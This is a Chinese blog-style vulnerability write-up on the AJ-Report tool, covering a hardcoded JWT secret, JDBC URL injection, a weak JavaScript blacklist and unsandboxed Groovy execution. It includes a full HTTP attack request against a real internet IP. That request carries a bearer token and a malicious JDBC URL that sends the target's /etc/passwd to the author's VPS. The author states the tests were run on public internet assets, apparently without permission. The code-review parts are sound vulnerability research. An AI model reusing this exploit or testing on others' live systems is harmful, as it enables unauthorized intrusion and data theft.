AJ-Report漏洞挖掘记录
JWT密钥硬编码+JDBC URL参数未过滤,导致未授权任意文件读取及RCE漏洞。
AJ-Report漏洞挖掘记录
前段时间在审计一个开源报表项目AJ-Report时,偶然发现了一个有趣的漏洞。这是一个完全开源的拖拽式可视化设计工具,在数据源管理这块提供了测试连接的功能,结果发现开发者在这里埋了个大坑。这次就来聊聊我是怎么一步步挖出这个漏洞的。
JWT密钥硬编码导致身份认证绕过
在深入分析JDBC漏洞之前,首先发现了一个更严重的问题,系统的身份认证机制存在严重缺陷。AJ-Report使用JWT作为身份认证方案,但是JWT签名密钥被直接硬编码在源码中。
在JwtUtil.java中可以看到这样的代码:
public class JwtUtil {
private static final String JWT_SECRET = "aj-report";
public static String createToken(String username, Map<String, Object> claims) {
Algorithm algorithm = Algorithm.HMAC256(JWT_SECRET);
return JWT.create()
.withClaim("username", username)
.withClaim("createTime", System.currentTimeMillis())
.sign(algorithm);
}
public static DecodedJWT getClaim(String token) {
Algorithm algorithm = Algorithm.HMAC256(JWT_SECRET);
JWTVerifier verifier = JWT.require(algorithm).build();
return verifier.verify(token);
}
}JWT_SECRET被固定写死为字符串aj-report,这个密钥用于所有JWT令牌的签名和验证。另外在配置文件bootstrap.yml中也发现类似的问题:
customer:
file:
dist-path: ~
white-list: .png|.jpg|.gif|.icon|.pdf|.xlsx|.xls
excelSuffix: .xlsx|.xls
jwtSecret: TybmmfrgsIqpPsBOYxvygCMVJWKNfDJU由于密钥完全暴露在开源代码中,任何人都可以获取到这个密钥值。利用这个密钥可以伪造任意用户的JWT令牌,从而绕过整个身份认证机制直接登录系统。这意味着后面发现的JDBC文件读取漏洞原本需要登录后台才能利用,现在通过JWT伪造可以在前台未授权的情况下直接发起攻击。
初步探索
拿到项目后先把代码跑起来看看,发现登录后台有个数据源管理的功能。点进去之后可以添加各种数据库连接,MySQL啥的都支持。最关键的是有个"测试连接"按钮,点了之后会向后端发送请求验证数据库能不能连上。
看看这个测试连接到底是怎么实现的。
从Controller入手
顺着请求路径找到了DataSourceController这个类,果然有个testConnection接口:
@Permission( code = "query", name = "测试数据源")
@PostMapping("/testConnection")
public ResponseBean testConnection(@Validated @RequestBody ConnectionParam connectionParam) {
return responseSuccessWithData(dataSourceService.testConnection(connectionParam));
}看起来很正常,有权限校验,参数也做了@Validated验证。但这只是表面功夫,继续往下看ConnectionParam这个参数类:
@Data
public class ConnectionParam implements Serializable {
@NotBlank(message = "sourceType not empty")
private String sourceType;
@NotBlank(message = "sourceConfig not empty")
private String sourceConfig;
}就两个字段,sourceType是数据源类型,sourceConfig是配置信息的JSON字符串。等等,这个sourceConfig只校验了非空?那里面的内容呢?没有任何过滤?这就有意思了。
追踪业务逻辑
跟进DataSourceServiceImpl看看testConnection方法干了啥:
public Boolean testConnection(ConnectionParam connectionParam) {
String sourceType = connectionParam.getSourceType();
String sourceConfig = connectionParam.getSourceConfig();
DataSourceDto dto = new DataSourceDto();
dto.setSourceConfig(sourceConfig);
switch (sourceType) {
case JdbcConstants.MYSQL:
case JdbcConstants.ORACLE:
case JdbcConstants.SQL_SERVER:
case JdbcConstants.JDBC:
case JdbcConstants.POSTGRESQL:
testRelationalDb(dto);
break;
// ...
}
return true;
}原来是根据sourceType走不同分支。我们重点关注MySQL这种关系型数据库,看看testRelationalDb方法:
public void testRelationalDb(DataSourceDto dto) {
analysisRelationalDbConfig(dto);
try {
Connection unPooledConnection = jdbcService.getUnPooledConnection(dto);
String catalog = unPooledConnection.getCatalog();
unPooledConnection.close();
} catch (SQLException e) {
// ...
}
}先解析配置,然后获取数据库连接。再看解析配置的代码:
public void analysisRelationalDbConfig(DataSourceDto dto) {
JSONObject json = JSONObject.parseObject(dto.getSourceConfig());
String jdbcUrl = json.getString("jdbcUrl");
String username = json.getString("username");
String password = json.getString("password");
String driverName = json.getString("driverName");
dto.setJdbcUrl(jdbcUrl);
dto.setDriverName(driverName);
dto.setUsername(username);
dto.setPassword(password);
}这代码就是把JSON解析出来,然后直接赋值,没有任何检查。jdbcUrl想写啥就写啥,这不就可以搞事情了吗?
顺藤摸瓜
继续往下追,看看这个jdbcUrl最后怎么用的:
public Connection getUnPooledConnection(DataSourceDto dataSource) throws SQLException {
DruidDataSource druidDataSource = druidProperties.dataSource(
dataSource.getJdbcUrl(),
dataSource.getUsername(),
dataSource.getPassword(),
dataSource.getDriverName()
);
return druidDataSource.getConnection();
}再看dataSource方法:
public DruidDataSource dataSource(String url, String username, String password, String driverClassName){
DruidDataSource datasource = new DruidDataSource();
datasource.setUrl(url);
datasource.setUsername(username);
datasource.setPassword(password);
datasource.setDriverClassName(driverClassName);
// 其他配置
return datasource;
}好家伙,用户传进来的jdbcUrl被原封不动地塞给了DruidDataSource,然后直接getConnection。这意味着什么?意味着我可以在jdbcUrl里加任何参数,JDBC驱动都会老老实实执行。
整个攻击思路一下子就清晰了:搭个假的MySQL服务器,在jdbcUrl里设置好那些危险参数,让AJ-Report去连我的服务器,然后服务器返回LOAD DATA LOCAL INFILE命令,客户端就会乖乖把文件读出来发给我。
实战验证
先在VPS上用java-chains搭个恶意MySQL服务器,设置读取目标文件:
然后用弱口令admin/123456登录AJ-Report后台,构造请求包:
POST /calab-report-server/dataSource/testConnection HTTP/1.1
Host: 115.190.170.13
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiZmUwZDA0YTRlNTQyNGZiMjllOGQ4MDI0NWIxMTIwMWUiLCJ0ZW5hbnQiOiJ0ZW5hbnRDb2RlIiwidXNlcm5hbWUiOiJhZG1pbiJ9.QZwLAgGdqrhceV4ZTfHRTX-fsvDzYVdrvsTbSdpnAuA
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Origin: http://115.190.170.13
Referer: http://115.190.170.13/calab-report-web/
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 892
{
"id": 2,
"createBy": "admin",
"createByView": "admin",
"createTime": "2025-09-26 16:10:57",
"updateBy": "admin",
"updateByView": "admin",
"updateTime": "2025-09-26 16:40:41",
"version": 3,
"sourceCode": "pmos",
"sourceName": "pmos",
"sourceDesc": "",
"sourceType": "mysql",
"sourceConfig": "{\"driverName\":\"com.mysql.cj.jdbc.Driver\",\"jdbcUrl\":\"jdbc:mysql://123.57.23.40:3308/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360&user=f69bdb4\",\"username\":\"f69bdb4\",\"password\":\"litao819!\"}",
"enableFlag": 1,
"deleteFlag": 0,
"jdbcUrl": null,
"username": null,
"password": null,
"driverName": null,
"sql": null,
"apiUrl": null,
"method": null,
"header": null,
"body": null,
"dynSentence": null,
"contextData": null,
"accessKey": "1aec8e5d33aee82c021ba8df4c6b09e9"
}注意这个jdbcUrl,我把服务器地址指向了自己的VPS 123.57.23.40:3308,并且加上了那几个关键参数。user参数的值就是java-chains生成的payload。
发送请求,然后去VPS的fake-server-files目录看看:
成了!/etc/passwd文件的内容躺在那里,清清楚楚。
代码执行漏洞
除了上述的JDBC文件读取漏洞,在审计过程中还发现了多处代码执行相关的问题,主要集中在数据处理和转换模块。
在DataSourceServiceImpl.java文件中,executeRelationalDb方法用于执行关系型数据库查询。可以看到第235行左右的代码直接使用了用户传入的SQL语句构建预编译对象。
public List<JSONObject> executeRelationalDb(DataSourceDto dto) {
// ...
PreparedStatement statement = pooledConnection.prepareStatement(dto.getDynSentence());
ResultSet rs = statement.executeQuery();
// ...
}这里直接执行了用户提供的SQL语句,构成了SQL代码执行漏洞。
接着看数据转换功能,系统支持使用JavaScript脚本对数据进行清洗。在JsEngineUtil.java中,开发者实现了一个简单的黑名单机制来限制JavaScript的执行能力。
final Set<String> blackList = Sets.newHashSet(
"java.lang.ProcessBuilder", "java.lang.Runtime", "java.lang.ProcessImpl");
private String filter(String input) {
//把blackList中的类替换成空字符串
for (String clz : blackList) {
input = input.replace(clz, "");
}
return input;
}这个黑名单仅仅过滤了几个常见的命令执行类,而且使用的是简单的字符串替换。攻击者可以轻松使用其他类或通过字符串拼接等方式绕过这个限制,从而在服务端执行任意Java代码。
最后是Groovy脚本执行问题。在GroovyTransformServiceImpl.java中,系统允许用户通过Groovy脚本转换数据。
@Override
public List<JSONObject> transform(DataSetTransformDto def, List<JSONObject> data) {
// ...
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class<?> clazz = groovyClassLoader.parseClass(transformScript);
// ...
}代码直接通过GroovyClassLoader的parseClass方法解析并执行了用户传入的transformScript脚本,完全没有任何沙箱限制。这可以让攻击者直接执行任意的Groovy代码,进而控制整个服务器。
总结
由于我本地没有部署环境,上述漏洞验证都是使用的互联网上的公开资产进行的,剩下的深入利用就留给有缘人了。
特别值得一提的是,正如文章开头提到的JWT密钥硬编码问题,它极大地提升了系统的风险等级。原本那个JDBC任意文件读取漏洞是需要登录后台才能触发的,但配合这个硬编码密钥,攻击者可以伪造管理员凭证,直接在前台就能发起攻击,将一个后台漏洞升级为前台高危漏洞。
JWT密钥硬编码+JDBC URL参数未过滤,导致未授权任意文件读取及RCE漏洞。
由 AI 根据全文自动生成,仅供参考,以原文为准